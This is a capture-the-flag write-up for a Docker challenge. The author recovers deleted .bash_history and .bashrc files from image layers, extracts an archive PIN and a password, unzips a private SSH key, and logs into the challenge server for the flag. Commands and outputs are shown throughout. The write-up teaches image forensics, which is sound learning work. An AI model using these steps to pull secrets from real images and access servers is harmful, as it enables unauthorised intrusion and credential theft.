Apparently we’ll have to gain an SSH access, maybe with a username:password or an SSH key, let’s dig into it.
First of all we have to pull the Docker image with:
magnussen@funcMyLife:~/naughtydocker$ docker run --rm -p 3000:3000 -d santactf/app
We can see the container with:
magnussen@funcMyLife:~/naughtydocker$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a400dd3e7d9b santactf/app "docker-entrypoint.s…" About a minute ago Up About a minute 0.0.0.0:3000->3000/tcp compassionate_sinoussi
When we go on 0.0.0.0:3000, we have the following message: Some production Santa CTF app.
Exploring emptiness
We’ll start by digging into the application by checking the source code with:
magnussen@funcMyLife:~/naughtydocker$ docker exec -it --user root compassionate_sinoussi bash
root@a400dd3e7d9b:/ cat /home/node/server.js
const fastify = require('fastify')({
logger: true
});
fastify.get('/', function (request, reply) {
reply.send('Some production Santa CTF app');
});
fastify.listen(3000, '0.0.0.0', function (err, address) {
if (err) {
fastify.log.error(err);
process.exit(1);
}
fastify.log.info(`Server listening on ${address}`);
});
process.on('SIGTERM', function () {
fastify.close(function(){
process.exit(0);
});
});
The application is pretty simple, no clue about any SSH access. We also have 46 modules, but I’m too lazy to check all of them.
We can also search for the .ssh directory, check the /etc/ssh_config folder, or look through the logs:
root@a400dd3e7d9b:/home/node# ls -alh
total 44K
drwxr-xr-x 1 root root 4.0K Dec 18 20:55 .
drwxr-xr-x 1 root root 4.0K Dec 16 07:28 ..
-rw-r--r-- 1 node node 220 May 15 2017 .bash_logout
-rw-r--r-- 1 node node 675 May 15 2017 .profile
drwxr-xr-x 45 root root 4.0K Dec 18 20:55 node_modules
-rw-r--r-- 1 root root 13K Dec 16 23:34 package-lock.json
-rw-r--r-- 1 root root 241 Dec 16 23:34 package.json
-rw-r--r-- 1 root root 458 Dec 18 20:53 server.js
root@a400dd3e7d9b:/home/node# ls -alh /etc/ssh/
total 556K
drwxr-xr-x 2 root root 4.0K Nov 23 00:13 .
drwxr-xr-x 1 root root 4.0K Dec 24 09:37 ..
-rw-r--r-- 1 root root 541K Jul 15 13:32 moduli
-rw-r--r-- 1 root root 1.7K Jul 15 13:32 ssh_config
root@a400dd3e7d9b:/home/node# ls -alh /var/log/
total 540K
drwxr-xr-x 1 root root 4.0K Nov 23 00:15 .
drwxr-xr-x 1 root root 4.0K Nov 18 00:00 ..
-rw-r--r-- 1 root root 14K Nov 23 00:15 alternatives.log
drwxr-xr-x 1 root root 4.0K Nov 23 00:14 apt
-rw-rw---- 1 root utmp 0 Nov 18 00:00 btmp
-rw-r--r-- 1 root root 188K Nov 23 00:15 dpkg.log
-rw-r--r-- 1 root root 32K Dec 18 20:39 faillog
-rw-r--r-- 1 root root 751 Nov 23 00:15 fontconfig.log
-rw-rw-r-- 1 root utmp 286K Dec 18 20:39 lastlog
-rw-rw-r-- 1 root utmp 0 Nov 18 00:00 wtmp
root@a400dd3e7d9b:/home/node# lastlog
Username Port From Latest
root **Never logged in**
daemon **Never logged in**
bin **Never logged in**
sys **Never logged in**
sync **Never logged in**
games **Never logged in**
man **Never logged in**
lp **Never logged in**
mail **Never logged in**
news **Never logged in**
uucp **Never logged in**
proxy **Never logged in**
www-data **Never logged in**
backup **Never logged in**
list **Never logged in**
irc **Never logged in**
gnats **Never logged in**
nobody **Never logged in**
_apt **Never logged in**
node **Never logged in**
Well, nothing here… It seems that the developer cleaned everything on the actual container.
Looking back in time
Even if the developer erased his tracks on the docker, we can check the history of the docker image.
IMAGE CREATED CREATED BY
sha256:ddde36e2209357c424cca26ac5a0b46c2f864be797c053bed700422177ba7261 5 days ago /bin/sh -c #(nop) CMD ["node" "server.js"]
5 days ago /bin/sh -c #(nop) USER node
5 days ago /bin/sh -c #(nop) COPY file:8b53431519dafa70baa13c0dd04861e8688090bfece040ae71244d2e14a66845 in /home/node/
5 days ago /bin/sh -c npm ci
5 days ago /bin/sh -c #(nop) COPY multi:2f093554c78265fc6aeb1cb343015e8e8e7227fee6a0504f55721b9af13a16a6 in /home/node/
5 days ago /bin/sh -c #(nop) WORKDIR /home/node
5 days ago /bin/sh -c #(nop) EXPOSE 3000
5 days ago /bin/sh -c #(nop) CMD ["node"]
5 days ago /bin/sh -c #(nop) ENTRYPOINT ["docker-entrypoint.sh"]
5 days ago /bin/sh -c #(nop) COPY file:6781e799bed1693e0357678a6692f346b66879c2248ff055a2ff51cc0a83288b in /usr/local/bin/
5 days ago /bin/sh -c ln -s /usr/local/bin/node /usr/local/bin/nodejs && rm /home/node/.bashrc /home/node/.bash_history && rm -rf /usr/share/prod-common
5 days ago /bin/sh -c ARCH= && dpkgArch="$(dpkg --print-architecture)" && case "${dpkgArch##*-}" in amd64) ARCH='x64';; ppc64el) ARCH='ppc64le';; s390x) ARCH='s390x';; arm64) ARCH='arm64';; armhf) ARCH='armv7l';; i386) ARCH='x86';; *) echo "unsupported architecture"; exit 1 ;; esac && curl -fsSLO --compressed "https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-$ARCH.tar.xz" && curl -fsSLO --compressed "https://nodejs.org/dist/v$NODE_VERSION/SHASUMS256.txt.asc" && tar -xJf "node-v$NODE_VERSION-linux-$ARCH.tar.xz" -C /usr/local --strip-components=1 --no-same-owner && rm "node-v$NODE_VERSION-linux-$ARCH.tar.xz" SHASUMS256.txt.asc
5 days ago /bin/sh -c #(nop) COPY dir:795933707ce316a3189ec6fd11f015b1acbc4eae6d5f01185625a86edaa2c5c4 in /
5 days ago /bin/sh -c #(nop) ENV NODE_VERSION=12.13.1
5 days ago /bin/sh -c groupadd --gid 1000 node && useradd --uid 1000 --gid node --shell /bin/bash --create-home node
4 weeks ago /bin/sh -c set -ex; apt-get update; apt-get install -y --no-install-recommends autoconf automake bzip2 dpkg-dev file g++ gcc imagemagick libbz2-dev libc6-dev libcurl4-openssl-dev libdb-dev libevent-dev libffi-dev libgdbm-dev libglib2.0-dev libgmp-dev libjpeg-dev libkrb5-dev liblzma-dev libmagickcore-dev libmagickwand-dev libmaxminddb-dev libncurses5-dev libncursesw5-dev libpng-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev libtool libwebp-dev libxml2-dev libxslt-dev libyaml-dev make patch unzip xz-utils zlib1g-dev $( if apt-cache show 'default-libmysqlclient-dev' 2>/dev/null | grep -q '^Version:'; then echo 'default-libmysqlclient-dev'; else echo 'libmysqlclient-dev'; fi ) ; rm -rf /var/lib/apt/lists/* 562MB
4 weeks ago /bin/sh -c apt-get update && apt-get install -y --no-install-recommends bzr git mercurial openssh-client subversion procps && rm -rf /var/lib/apt/lists/*
4 weeks ago /bin/sh -c set -ex; if ! command -v gpg > /dev/null; then apt-get update; apt-get install -y --no-install-recommends gnupg dirmngr ; rm -rf /var/lib/apt/lists/*; fi
4 weeks ago /bin/sh -c apt-get update && apt-get install -y --no-install-recommends ca-certificates curl netbase wget && rm -rf /var/lib/apt/lists/*
4 weeks ago /bin/sh -c #(nop) CMD ["bash"]
4 weeks ago /bin/sh -c #(nop) ADD file:152359c10cf61d80091bfd19e7e1968a538bebebfa048dca0386e35e1e999730 in /
Well, well, well, it seems that the developer erased those files:
- /home/node/.bashrc
- /home/node/.bash_history
- /usr/share/prod-common
We can see a lot of missing id.
Follow the tracks
Even if we can’t navigate in a previous layer we can still read those files!
magnussen@funcMyLife:/var/lib/docker# find . -name prod-common
./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/usr/share/prod-common
magnussen@funcMyLife:/var/lib/docker# tree -a ./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/
./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/
--- home
| --- node
| --- .bash_history
| --- .bashrc
--- usr
--- share
--- prod-common
--- dev_081219_backup.zip
--- dev_091219_backup.zip
--- dev_101219_backup.zip
--- dev_111219_backup.zip
--- dev_121219_backup.zip
--- dev_131219_backup.zip
--- dev_141219_backup.zip
--- dev_151219_backup.zip
--- dev_161219_backup.zip
Maybe the developer entered his password in the command-line and we can retrieve it with the .bash_history.
I’m omitting some lines, but here’s what we can find in the .bash_history:
magnussen@funcMyLife:/var/lib/docker# cat ./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/home/node/.bash_history
export ARCHIVE_PIN=25362
ls ~/.ssh
cd ~
ssh-keygen -t rsa -C jmding0714@gmail.com
cd ~/.ssh/
nano authorized_keys
zip --password "$ARCHIVE_PIN" "$PRODUCTION_BACKUP_FILE" id_santa_production*
ssh -p 5700 rudolf-the-reindeer@46.30.204.47
Nice, we have the username and the IP of the production server, a password, and we can see that the developer has generated an ssh-key and changed the authorized_keys.
Let’s check out the other files.
I’m omitting some lines, but here is what we can find in the .bashrc:
magnussen@funcMyLife:/var/lib/docker# cat ./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/home/node/.bashrc
# Should make life easier for development
if [ "$NODE_ENV" = "developer_workstation" ]; then
export PRD_PWD='HoHoHo2020!NorthPole'
fi
With the ARCHIVE_PIN (25362) password we can unzip a folder under prodcommon:
magnussen@funcMyLife:/var/lib/docker# unzip ./overlay2/46fd518e28b0de9dc0d8f33ded5d7ab07d43d713b8548f797be16561123d2b48/diff/usr/share/prod-common/dev_141219_backup.zip
Archive: dev_141219_backup.zip
[dev_141219_backup.zip] id_santa_production password:
inflating: id_santa_production
inflating: id_santa_production.pub
Wow, an SSH key!
I’m in.
Let’s try to connect to the production server with it.
magnussen@funcMyLife:/var/lib/docker# ssh -o "IdentitiesOnly=yes" -i id_santa_production -p 5700 rudolf-the-reindeer@46.30.204.47
The authenticity of host '[46.30.204.47]:5700 ([46.30.204.47]:5700)' can't be established.
ECDSA key fingerprint is SHA256:Txv3goHZqkUkwjfAUvmJ9L1eAOtVZBC/f052V0jnCWc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[46.30.204.47]:5700' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_santa_production':
Damned, we need the passphrase, let’s try the PRD_PWD we’ve found in the .bashrc (HoHoHo2020!NorthPole), we haven’t used it yet.
magnussen@funcMyLife:/var/lib/docker# ssh -o "IdentitiesOnly=yes" -i id_santa_production -p 5700 rudolf-the-reindeer@46.30.204.47
The authenticity of host '[46.30.204.47]:5700 ([46.30.204.47]:5700)' can't be established.
ECDSA key fingerprint is SHA256:Txv3goHZqkUkwjfAUvmJ9L1eAOtVZBC/f052V0jnCWc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[46.30.204.47]:5700' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_santa_production':
___ _ _ _ _____ _ ___ _____ ___
/ __| /_\ | \| |_ _/_\ / __|_ _| __|
\__ \/ _ \| .` | | |/ _ \ | (__ | | | _|
|___/_/ \_\_|\_| |_/_/ \_\ \___| |_| |_|
Well done, the flag is SANTA{NeverTrustDockerImages7263}
You may now log out of this server with "exit"
-bash-5.0$
Yay, we’re connected to the production server and we have the flag!
This was a really nice challenge, first time for me investigating on Docker, I’ve learned a lot of things!
Thank you Saluki for this challenge and congratulation to the Santhackclaus Team for this awesome and well-balanced CTF! Can’t wait for the v3!